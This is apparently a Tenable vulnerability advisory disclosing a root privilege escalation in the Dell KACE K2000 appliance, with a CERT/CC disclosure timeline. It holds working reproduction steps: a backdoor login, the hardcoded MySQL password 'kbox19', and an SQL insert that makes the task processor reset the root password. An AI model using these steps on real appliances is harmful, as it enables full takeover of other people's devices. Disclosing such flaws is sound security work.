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[R1] Dell KACE K2000 System Deployment Appliance Task Processor Database Write Access Remote Privilege Escalation



Dell KACE K2000 Systems Deployment Appliance contains a flaw in the Task Processor component that is triggered when a web GUI administrator uses write access to the MySQL database. With a specially crafted 'insert' statement, an attacker can execute commands as 'root' on the underlying system, gaining full access to the device.

Reproduction steps:

o Log into the web interface as the backdoor user described in TRA-2011-11.
o Enable remote MySQL connections and root SSH access
- http://[target]/settings_security?edit=1
- Select "Allow Offboard Database Access"
- Select "Allow SSH Root Login (KACE Support)"
- click "Save"
o Restart the server
- http://[target]/settings_maintenance?edit=1
- Click "Reboot"
o Drop the exploit on the mysql server
- mysql -u root -p -h [target]
o supply the default password, "kbox19" (this password is hardcoded in various PHP files)
- run the MySQL commands:
o use KBDB
o insert into IM_SERVER_TASK_QUEUE(queue,description,command) values('datastore', 'exploit attempt', '/bin/echo password | pw usermod -n root -h 0');

After the task is processed, the command is executed and the root password is changed to 'password'. The attack is recorded in the log at http://[target]/settings_logs?log=server_task_processor_output

KServerTaskProcessor[46390] @ Tue, Apr 19 2011 14:02:44 EDT: (datastore) running /bin/echo password | pw usermod -n root -h 0


As of 2011-10-13, CERT/CC indicated that Dell was preparing to release an update. Unfortunately, the original KB posted by Dell has since been removed from the site, so it is unclear if a solution was published.

Disclosure Timeline

2011-05-03 - Vulnerability reported to CERT/CC via their online submission form, assigned VU #135606
2011-06-09 - CERT/CC acknowledges and says they're contacting Dell
2011-08-15 - Asked CERT/CC for an update
2011-10-13 - CERT/CC responds saying Dell is prepared to issue an update
2011-11-03 - Disclosed via CERT/CC

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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